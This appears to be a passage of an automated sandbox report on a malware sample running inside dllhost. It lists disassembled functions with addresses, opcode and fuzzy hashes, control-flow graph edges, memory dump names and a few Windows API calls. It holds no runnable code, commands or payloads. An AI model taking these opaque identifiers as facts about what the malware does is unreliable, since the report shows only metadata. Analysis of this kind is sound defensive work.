                                                                                                                                        • Instruction ID: 6a958b7272eca9f988e559ded08b6d419d8190776743d62389f25c1627158f8d
                                                                                                                                        • Opcode Fuzzy Hash: 07c9e47ab80b65a8aacdf06ba26e4a198c2844aa9e1e2aaab6cea1b5492f21a0
                                                                                                                                        • Instruction Fuzzy Hash: 0C71035BB4F3D22FEB2296B898710FA7F71AF4225470E41F7D0D48A0A7E908A9098741
                                                                                                                                        Function 00007FFD9B932CD3 Relevance: .2, Instructions: 218COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: ddf964542eed2a5d887281370a472719ae79722022cf3b3230139ff605500e76
                                                                                                                                        • Instruction ID: 8f22c5fe2f741340a59759b949bbc18673c0f7048fdc5eca57a7d1d1c8683175
                                                                                                                                        • Opcode Fuzzy Hash: ddf964542eed2a5d887281370a472719ae79722022cf3b3230139ff605500e76
                                                                                                                                        • Instruction Fuzzy Hash: B961A81BA8E3D22EE312B3BCA5714F93F609F1226C71C41F2E0DD490A7DE0864498B94
                                                                                                                                        Function 00007FFD9B935680 Relevance: .1, Instructions: 142COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 4b853317e5b1dc415fe0bf141cc22f38307f13390434c80a2d62f212c6096e8d
                                                                                                                                        • Instruction ID: 0c9b9d97bd84ea8e5c03d6cf55d5412e24400cfb3e3878d768490bfde595ab45
                                                                                                                                        • Opcode Fuzzy Hash: 4b853317e5b1dc415fe0bf141cc22f38307f13390434c80a2d62f212c6096e8d
                                                                                                                                        • Instruction Fuzzy Hash: C2514F63E2FBC26FE7208E784865156BFB3BF0429071900BFD449891B79D29BA51C380
                                                                                                                                        Function 00007FFD9B9340C0 Relevance: .1, Instructions: 127COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 0d2bb9567a4b6d02ab67bad49957bc5e17a79ea5ef92d7c6411354ce9f3ebb86
                                                                                                                                        • Instruction ID: 38a3fd0fbd039e09e48358c4aede7b471682acc597a76842763dda695407fe46
                                                                                                                                        • Opcode Fuzzy Hash: 0d2bb9567a4b6d02ab67bad49957bc5e17a79ea5ef92d7c6411354ce9f3ebb86
                                                                                                                                        • Instruction Fuzzy Hash: 49419986B2FEC22AFF6146B4483527A5F616F22180B1F85FAD4D4063FB9859BA05C741
                                                                                                                                        Function 00007FFD9B933D20 Relevance: .1, Instructions: 119COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: bc19e1d802ab8d5871e99a51338043e2c12c467317b23aaf5b42bebc1050e835
                                                                                                                                        • Instruction ID: e1e1ee7f41a98f092877d04148457fa4ee73087b0a9e6c3bd534df51578f04cd
                                                                                                                                        • Opcode Fuzzy Hash: bc19e1d802ab8d5871e99a51338043e2c12c467317b23aaf5b42bebc1050e835
                                                                                                                                        • Instruction Fuzzy Hash: B1315B26A8D68B3EE75537B8A4255FA3B50AF15314F184273F4ADCA1D3CF046144CBD1
                                                                                                                                        Function 00007FFD9B92B73D Relevance: .1, Instructions: 99COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 007905d75ae1a8f5ddf1e1588d1c643d1613935e2bbbe96d9448d983f9dd0e28
                                                                                                                                        • Instruction ID: e3a5d0b909b82d05b2d433a2f6d809d3b2566bba3ec99fcc2b7e83a52be22250
                                                                                                                                        • Opcode Fuzzy Hash: 007905d75ae1a8f5ddf1e1588d1c643d1613935e2bbbe96d9448d983f9dd0e28
                                                                                                                                        • Instruction Fuzzy Hash: BD31F474E18A1D8FCF84EF98C491AEDBBF1FB69300F2011AAD419E3291CA35A941CB44

                                                                                                                                        Execution Graph

                                                                                                                                        Execution Coverage:3.8%
                                                                                                                                        Dynamic/Decrypted Code Coverage:57.1%
                                                                                                                                        Signature Coverage:0%
                                                                                                                                        Total number of Nodes:7
                                                                                                                                        Total number of Limit Nodes:0
                                                                                                                                        execution_graph 34776 7ffd9bb306b0 34777 7ffd9bb30719 GetFileAttributesW 34776->34777 34779 7ffd9bb30895 34777->34779 34780 7ffd9bb2e953 34781 7ffd9bb2e969 ResumeThread 34780->34781 34783 7ffd9bb2ea54 CloseHandle 34781->34783 34785 7ffd9bb2eb94 34783->34785

                                                                                                                                        Executed Functions

                                                                                                                                        Function 00007FFD9C0718B8 Relevance: 9.5, Strings: 4, Instructions: 4459COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: '^^$*^^$C)$^^
                                                                                                                                        • API String ID: 0-3598004843
                                                                                                                                        • Opcode ID: 3bf3f82f976045facd6072379eb745755834c30bf46bd34158b54b96a111cec1
                                                                                                                                        • Instruction ID: b0222eac7229ab3000b4a94cce5b8aab4a4fdc49bc7501467ae362fb789ecf82
                                                                                                                                        • Opcode Fuzzy Hash: 3bf3f82f976045facd6072379eb745755834c30bf46bd34158b54b96a111cec1
                                                                                                                                        • Instruction Fuzzy Hash: 87634406F0E1A386FB7936E83C356F42BA09F557A1F1841B7D0AD4B0D79E1DBA4662C0
                                                                                                                                        Function 00007FFD9B980D68 Relevance: .3, Instructions: 279COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 2075 7ffd9b980d68-7ffd9b980d7f 2076 7ffd9b980d82-7ffd9b980db9 2075->2076 2077 7ffd9b980d81 2075->2077 2079 7ffd9b980dc0-7ffd9b980e96 call 7ffd9b9807c8 2076->2079 2080 7ffd9b980dbb 2076->2080 2077->2076 2095 7ffd9b980e9b-7ffd9b980ebe 2079->2095 2080->2079 2097 7ffd9b980ec0-7ffd9b980fa3 2095->2097 2107 7ffd9b980fab-7ffd9b98109c 2097->2107
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 6b87cf164bfeac58705cc67e85fbd6e4f5ecbd9954ebf78da71495ed3339688f
                                                                                                                                        • Instruction ID: 58b24f178d04550d590f93b4f9e36b95ad0c78ad17a5d01744d1ac50b35c2103
                                                                                                                                        • Opcode Fuzzy Hash: 6b87cf164bfeac58705cc67e85fbd6e4f5ecbd9954ebf78da71495ed3339688f
                                                                                                                                        • Instruction Fuzzy Hash: E5A1BF72A19A8D9FE798DB68C8757A97FE1FF96300F0501BAD009D72D6CB792805CB40
                                                                                                                                        Function 00007FFD9BB2E953 Relevance: 3.5, APIs: 2, Instructions: 483threadCOMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1742 7ffd9bb2e953-7ffd9bb2e966 1743 7ffd9bb2e969-7ffd9bb2e979 1742->1743 1744 7ffd9bb2e97b 1743->1744 1745 7ffd9bb2e97c-7ffd9bb2e989 1743->1745 1744->1745 1745->1743 1746 7ffd9bb2e98b-7ffd9bb2ea52 ResumeThread 1745->1746 1750 7ffd9bb2ea54 1746->1750 1751 7ffd9bb2ea5a-7ffd9bb2eab5 1746->1751 1750->1751 1754 7ffd9bb2eac0-7ffd9bb2eb92 CloseHandle 1751->1754 1755 7ffd9bb2eab7-7ffd9bb2eabf 1751->1755 1758 7ffd9bb2eb94 1754->1758 1759 7ffd9bb2eb9a-7ffd9bb2ebfd 1754->1759 1755->1754 1758->1759 1762 7ffd9bb2ebff-7ffd9bb2ec07 1759->1762 1763 7ffd9bb2ec08-7ffd9bb2ec35 1759->1763 1762->1763 1765 7ffd9bb2ec37 1763->1765 1766 7ffd9bb2ec3c-7ffd9bb2ec48 1763->1766 1765->1766 1768 7ffd9bb2ec49-7ffd9bb2ec69 1766->1768 1768->1768 1769 7ffd9bb2ec6b-7ffd9bb2ec87 1768->1769 1771 7ffd9bb2ec8e-7ffd9bb2ecf3 1769->1771 1772 7ffd9bb2ec89 1769->1772 1777 7ffd9bb2ecf5 1771->1777 1778 7ffd9bb2ecfa-7ffd9bb2ed12 1771->1778 1772->1771 1777->1778 1779 7ffd9bb2ed18-7ffd9bb2ed6a 1778->1779 1781 7ffd9bb2ed71-7ffd9bb2ed85 1779->1781 1782 7ffd9bb2ed6c 1779->1782 1785 7ffd9bb2eda2-7ffd9bb2edb4 1781->1785 1786 7ffd9bb2ed87-7ffd9bb2ed9e 1781->1786 1782->1781 1786->1785
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4161839010.00007FFD9BB20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB20000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9bb20000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: CloseHandleResumeThread
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 3265327148-0
                                                                                                                                        • Opcode ID: 296528aa708a04144f7a9fce4f7357c1c4610334ca65374b994d68da9430fc2c
                                                                                                                                        • Instruction ID: 394fcdaa69232216f5ca7ccad9b2ccc993baa0a43cd95f0870aa6242f285cbc0
                                                                                                                                        • Opcode Fuzzy Hash: 296528aa708a04144f7a9fce4f7357c1c4610334ca65374b994d68da9430fc2c
                                                                                                                                        • Instruction Fuzzy Hash: ECF1DE30A0D68D8FDB55DFA8C859AEDBBF0FF16310F0401ABD459D72A2DA34A945CB41
                                                                                                                                        Function 00007FFD9BB306B0 Relevance: 1.7, APIs: 1, Instructions: 242COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1788 7ffd9bb306b0-7ffd9bb30717 1789 7ffd9bb3071e-7ffd9bb30783 1788->1789 1790 7ffd9bb30719 1788->1790 1795 7ffd9bb30785 1789->1795 1796 7ffd9bb3078a-7ffd9bb30893 GetFileAttributesW 1789->1796 1790->1789 1795->1796 1800 7ffd9bb30895 1796->1800 1801 7ffd9bb3089b-7ffd9bb308d9 1796->1801 1800->1801
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4161839010.00007FFD9BB20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB20000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9bb20000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: AttributesFile
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 3188754299-0
                                                                                                                                        • Opcode ID: 8296f0ad3c92e2edfeefc90def980f4e716d48ea2315f3d18a8bb2fb3ff6e6c0
                                                                                                                                        • Instruction ID: c88fb2ec6230bae9f93eb3a94d7b1b7a28131a2bb0dc3622480b84f9e042fe40
                                                                                                                                        • Opcode Fuzzy Hash: 8296f0ad3c92e2edfeefc90def980f4e716d48ea2315f3d18a8bb2fb3ff6e6c0
                                                                                                                                        • Instruction Fuzzy Hash: 0D81AE3090D78C8FDB55DFA8C855AE9BFF0FF1A310F0541AAD049DB2A2DA34A845CB41
                                                                                                                                        Function 00007FFD9BB2CDE0 Relevance: 1.7, APIs: 1, Instructions: 174COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1803 7ffd9bb2cde0-7ffd9bb30783 1805 7ffd9bb30785 1803->1805 1806 7ffd9bb3078a-7ffd9bb30893 GetFileAttributesW 1803->1806 1805->1806 1810 7ffd9bb30895 1806->1810 1811 7ffd9bb3089b-7ffd9bb308d9 1806->1811 1810->1811
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4161839010.00007FFD9BB20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB20000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9bb20000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: AttributesFile
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 3188754299-0
                                                                                                                                        • Opcode ID: dc1a1437773a3f7bf89553e5995f9d77fed4b47dfde52bb89b97e09c4ed1e95f
                                                                                                                                        • Instruction ID: 538c81b513f2b2dd192d3db30ed7510b6d3d15ffcb789e7452b745c11242be54
                                                                                                                                        • Opcode Fuzzy Hash: dc1a1437773a3f7bf89553e5995f9d77fed4b47dfde52bb89b97e09c4ed1e95f
                                                                                                                                        • Instruction Fuzzy Hash: 1B510B70A0860C8FDB98EF98D895BEDBBF0FB59311F10416AD409D7291DA71A985CF41
                                                                                                                                        Function 00007FFD9C0775B5 Relevance: 1.4, Strings: 1, Instructions: 140COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1813 7ffd9c0775b5-7ffd9c0775d9 1818 7ffd9c0775db-7ffd9c0775e9 1813->1818 1819 7ffd9c0775a9-7ffd9c0775b0 1813->1819 1823 7ffd9c077660-7ffd9c077712 call 7ffd9c076970 1818->1823 1824 7ffd9c0775eb-7ffd9c0775f1 1818->1824 1820 7ffd9c07f540-7ffd9c07f576 1819->1820 1843 7ffd9c077714-7ffd9c077722 call 7ffd9c075b80 1823->1843 1824->1823 1845 7ffd9c077727-7ffd9c07772f 1843->1845 1845->1820 1846 7ffd9c07768c-7ffd9c0776a1 1845->1846
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: _
                                                                                                                                        • API String ID: 0-701932520
                                                                                                                                        • Opcode ID: db6714734014fdc54fc1d0aad9775ce24020b639ac0c68738d4685ca658586d7
                                                                                                                                        • Instruction ID: 7dc5339c67391980548a2d9f8a877e7c1a16590e97de505607a5a09426dd87e7
                                                                                                                                        • Opcode Fuzzy Hash: db6714734014fdc54fc1d0aad9775ce24020b639ac0c68738d4685ca658586d7
                                                                                                                                        • Instruction Fuzzy Hash: 4C41BE61F0CA0B9EEBA9AB9CD8755BC7BF1EF54390F240176D44ED31D6DF2968019200
                                                                                                                                        Function 00007FFD9C299763 Relevance: .5, Instructions: 542COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1848 7ffd9c299763-7ffd9c299792 1851 7ffd9c2997b0-7ffd9c2997c2 1848->1851 1852 7ffd9c299794-7ffd9c2997ae 1848->1852 1854 7ffd9c2997ca-7ffd9c2997fc 1851->1854 1852->1854 1857 7ffd9c29981a-7ffd9c29982c 1854->1857 1858 7ffd9c2997fe-7ffd9c299818 1854->1858 1860 7ffd9c299834-7ffd9c2998ba 1857->1860 1858->1860 1869 7ffd9c2998c0-7ffd9c2998c1 1860->1869 1870 7ffd9c2999a3-7ffd9c299a12 1860->1870 1871 7ffd9c2998c8-7ffd9c2998ea 1869->1871 1890 7ffd9c299a18-7ffd9c299a19 1870->1890 1891 7ffd9c299afb-7ffd9c299b6d 1870->1891 1875 7ffd9c299908-7ffd9c29991a 1871->1875 1876 7ffd9c2998ec-7ffd9c299906 1871->1876 1879 7ffd9c299922-7ffd9c299954 1875->1879 1876->1879 1885 7ffd9c299956-7ffd9c299970 1879->1885 1886 7ffd9c299972-7ffd9c299984 1879->1886 1888 7ffd9c29998c-7ffd9c29999f 1885->1888 1886->1888 1888->1870 1892 7ffd9c299a20-7ffd9c299a42 1890->1892 1911 7ffd9c299c51-7ffd9c299c57 1891->1911 1912 7ffd9c299b73-7ffd9c299b74 1891->1912 1896 7ffd9c299a60-7ffd9c299a72 1892->1896 1897 7ffd9c299a44-7ffd9c299a5e 1892->1897 1900 7ffd9c299a7a-7ffd9c299aac 1896->1900 1897->1900 1905 7ffd9c299aca-7ffd9c299adc 1900->1905 1906 7ffd9c299aae-7ffd9c299ac8 1900->1906 1909 7ffd9c299ae4-7ffd9c299af7 1905->1909 1906->1909 1909->1891 1913 7ffd9c299c86-7ffd9c299c8f 1911->1913 1914 7ffd9c299c59-7ffd9c299c5f 1911->1914 1917 7ffd9c299b7b-7ffd9c299b9d 1912->1917 1915 7ffd9c299c66-7ffd9c299c77 1914->1915 1916 7ffd9c299c61 1914->1916 1916->1915 1920 7ffd9c299bbb-7ffd9c299bcd 1917->1920 1921 7ffd9c299b9f-7ffd9c299bb9 1917->1921 1922 7ffd9c299bd5-7ffd9c299c06 1920->1922 1921->1922 1926 7ffd9c299c08-7ffd9c299c22 1922->1926 1927 7ffd9c299c24-7ffd9c299c36 1922->1927 1929 7ffd9c299c3e-7ffd9c299c4c 1926->1929 1927->1929 1929->1911
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 3c508459d1553cc9da0d0a12c20759aec7f983b8bf74baf29534d9f92e8c5854
                                                                                                                                        • Instruction ID: dae1dad2d8714abe4293e82234dd613deadaa39961c96fc0c13b7303d628b402
                                                                                                                                        • Opcode Fuzzy Hash: 3c508459d1553cc9da0d0a12c20759aec7f983b8bf74baf29534d9f92e8c5854
                                                                                                                                        • Instruction Fuzzy Hash: 970200317589158FDB98EF28D0A8D7573E2EFA931175541A9E00ECB3A6DE30EC81CB81
                                                                                                                                        Function 00007FFD9C076EF7 Relevance: .3, Instructions: 332COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1930 7ffd9c076ef7-7ffd9c076f0e 1932 7ffd9c076f13-7ffd9c07711b 1930->1932 1933 7ffd9c076f10 1930->1933 1940 7ffd9c077126-7ffd9c0771b8 1932->1940 1933->1932 1955 7ffd9c077160-7ffd9c077189 1940->1955 1956 7ffd9c07718a-7ffd9c077199 call 7ffd9c0771ba 1940->1956 1955->1956
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 104f61f3594310b0723d2114def0f23f252f8fa3c92b24ebb7aa56ad13d350bc
                                                                                                                                        • Instruction ID: 3c323a6b61dd902a52043da47362b5f9d79b0c728bf22a5001d040858267c186
                                                                                                                                        • Opcode Fuzzy Hash: 104f61f3594310b0723d2114def0f23f252f8fa3c92b24ebb7aa56ad13d350bc
                                                                                                                                        • Instruction Fuzzy Hash: 1131CE21B1D55B8AE7BEAAAC98315F877F0EF057D0F14017AD05EC76C2DF296840A781
                                                                                                                                        Function 00007FFD9C07979A Relevance: .3, Instructions: 305COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 1963 7ffd9c07979a-7ffd9c0797a4 1964 7ffd9c0797dc-7ffd9c079824 call 7ffd9c0794e0 1963->1964 1965 7ffd9c0797a6-7ffd9c0797d9 call 7ffd9c0793b0 1963->1965 1980 7ffd9c079894-7ffd9c0798d0 call 7ffd9c074ce0 1964->1980 1981 7ffd9c079826-7ffd9c07983a call 7ffd9c0793b0 1964->1981 1965->1964 1974 7ffd9c079965-7ffd9c07996d 1965->1974 1975 7ffd9c07996f-7ffd9c079976 1974->1975 1976 7ffd9c07999c-7ffd9c0799a2 1974->1976 1978 7ffd9c07997d-7ffd9c079988 1975->1978 1979 7ffd9c079978 1975->1979 1982 7ffd9c0799a8-7ffd9c0799af 1976->1982 1983 7ffd9c079a35-7ffd9c079a4c 1976->1983 1979->1978 2014 7ffd9c079909-7ffd9c079910 call 7ffd9c073de8 1980->2014 1981->1974 1995 7ffd9c079840-7ffd9c079863 call 7ffd9c0794e0 1981->1995 1986 7ffd9c0799d9-7ffd9c0799e1 1982->1986 1997 7ffd9c079a4f-7ffd9c079a5d 1983->1997 1998 7ffd9c079a4e 1983->1998 1987 7ffd9c0799e3-7ffd9c0799e9 1986->1987 1988 7ffd9c0799b1-7ffd9c0799cd 1986->1988 1992 7ffd9c079a12 1987->1992 1993 7ffd9c0799eb-7ffd9c0799f6 1987->1993 1988->1983 1996 7ffd9c0799cf-7ffd9c0799d7 1988->1996 2002 7ffd9c079a25-7ffd9c079a30 call 7ffd9c0793b0 1992->2002 2001 7ffd9c0799f8-7ffd9c0799ff 1993->2001 1993->2002 1995->1983 2011 7ffd9c079869-7ffd9c079879 1995->2011 1996->1986 1999 7ffd9c079a5f 1997->1999 2000 7ffd9c079a65 1997->2000 1998->1997 1999->2000 2004 7ffd9c079a69-7ffd9c079aa8 2000->2004 2005 7ffd9c079a67 2000->2005 2006 7ffd9c079a01 2001->2006 2007 7ffd9c079a06-7ffd9c079a11 2001->2007 2012 7ffd9c079aa9 2004->2012 2013 7ffd9c079aaa-7ffd9c079cea 2004->2013 2005->2004 2005->2012 2006->2007 2011->1983 2016 7ffd9c07987f-7ffd9c079892 2011->2016 2012->2013 2019 7ffd9c079915-7ffd9c07991a 2014->2019 2016->1980 2016->1981 2021 7ffd9c0798d2-7ffd9c0798f2 2019->2021 2022 7ffd9c07991c-7ffd9c07991e 2019->2022 2021->1983 2023 7ffd9c0798f8-7ffd9c079903 2021->2023 2022->1974 2024 7ffd9c079920-7ffd9c079923 2022->2024 2023->1993 2023->2014 2025 7ffd9c079929-7ffd9c079944 2024->2025 2026 7ffd9c079925 2024->2026 2025->1983 2027 7ffd9c07994a-7ffd9c079963 call 7ffd9c0793b0 2025->2027 2026->2025 2027->1974 2030 7ffd9c079989-7ffd9c079995 call 7ffd9c0794e0 2027->2030 2030->1976
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: d49f2a7ecf0aafff1f72a6e60a4fa03f8a7283235793998232195b30a47e0a52
                                                                                                                                        • Instruction ID: 1ac20eb1173731e82cf5a438c17ef0e292d4bcd9425237754c48122d51df9bf3
                                                                                                                                        • Opcode Fuzzy Hash: d49f2a7ecf0aafff1f72a6e60a4fa03f8a7283235793998232195b30a47e0a52
                                                                                                                                        • Instruction Fuzzy Hash: 0BB1D330B0DA479FEB5DEB68C8A06A8B7B0FF55340F5441B9C04EC7A86DB28B851D781
                                                                                                                                        Function 00007FFD9C0760F0 Relevance: .3, Instructions: 298COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 2033 7ffd9c0760f0-7ffd9c076100 2034 7ffd9c07674a-7ffd9c076760 2033->2034 2035 7ffd9c076106-7ffd9c076141 2033->2035 2039 7ffd9c076762-7ffd9c076786 2034->2039 2040 7ffd9c0767aa-7ffd9c0767bd 2034->2040 2038 7ffd9c0761da-7ffd9c0761e2 2035->2038 2041 7ffd9c0761e8 2038->2041 2042 7ffd9c076146-7ffd9c07614f 2038->2042 2043 7ffd9c0761f2-7ffd9c07620f 2041->2043 2042->2034 2044 7ffd9c076155-7ffd9c076160 2042->2044 2049 7ffd9c076216-7ffd9c076227 2043->2049 2045 7ffd9c0761ea-7ffd9c0761ee 2044->2045 2046 7ffd9c076166-7ffd9c07617a 2044->2046 2045->2043 2047 7ffd9c0761d3-7ffd9c0761d7 2046->2047 2048 7ffd9c07617c-7ffd9c076193 2046->2048 2047->2038 2048->2034 2050 7ffd9c076199-7ffd9c0761a5 2048->2050 2055 7ffd9c076240-7ffd9c07624f 2049->2055 2056 7ffd9c076229-7ffd9c07623e 2049->2056 2051 7ffd9c0761bf-7ffd9c0761d0 2050->2051 2052 7ffd9c0761a7-7ffd9c0761bb 2050->2052 2051->2047 2052->2048 2054 7ffd9c0761bd 2052->2054 2054->2047 2060 7ffd9c076271-7ffd9c0762b4 2055->2060 2061 7ffd9c076251-7ffd9c07626c 2055->2061 2056->2055 2067 7ffd9c0766a9-7ffd9c0766e6 2060->2067 2061->2067 2067->2033 2070 7ffd9c0766ec-7ffd9c0766f2 2067->2070 2071 7ffd9c0766f4-7ffd9c0766fa 2070->2071 2072 7ffd9c076721 2070->2072 2073 7ffd9c076701-7ffd9c076710 2071->2073 2074 7ffd9c0766fc 2071->2074 2072->2034 2074->2073
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 90aa714c53b7b6b78fdceef27a6157abcd8f5c6ca76aab5b345446110f57835b
                                                                                                                                        • Instruction ID: b1fafa55b58462cb38e32ae2d8fd94eea82b9c533d60b5422867a71e1c14af8e
                                                                                                                                        • Opcode Fuzzy Hash: 90aa714c53b7b6b78fdceef27a6157abcd8f5c6ca76aab5b345446110f57835b
